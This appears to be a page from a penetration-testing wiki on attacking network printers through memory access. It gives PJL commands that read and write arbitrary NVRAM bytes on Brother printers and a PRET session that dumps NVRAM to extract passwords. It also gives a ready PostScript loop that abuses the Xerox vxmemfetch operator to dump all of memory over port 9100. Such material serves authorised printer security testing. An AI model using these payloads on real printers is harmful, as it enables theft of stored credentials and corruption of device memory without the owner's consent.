Memory Access

You can try to dump the NVRAM and extract confidential info (as passwords) from there.

In PJL (Brother) you can access **arbitrary NVRAM addresses **using PJL as shown below:

@PJL RNVRAM ADDRESS = X              # read byte at location X
@PJL WNVRAM ADDRESS = X DATA = Y     # write byte Y to location X

You can test this attack using PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> nvram dump
Writing copy to nvram/printer

Certain** Xerox printer models** have a proprietary **PostScript **vxmemfetch operator built into, which allows an attacker to read arbitrary memory addresses. Using a PostScript loop, this feature can be easily used to dump the whole memory as show below (PRET doesn't have this attack so you will need to send this payload to the port 9100 in a nc connection):

/counter 0 def 50000 {
  /counter counter 1 add def
  currentdict /RRCustomProcs /ProcSet findresource begin
  begin counter 1 false vxmemfetch end end == counter
} repeat
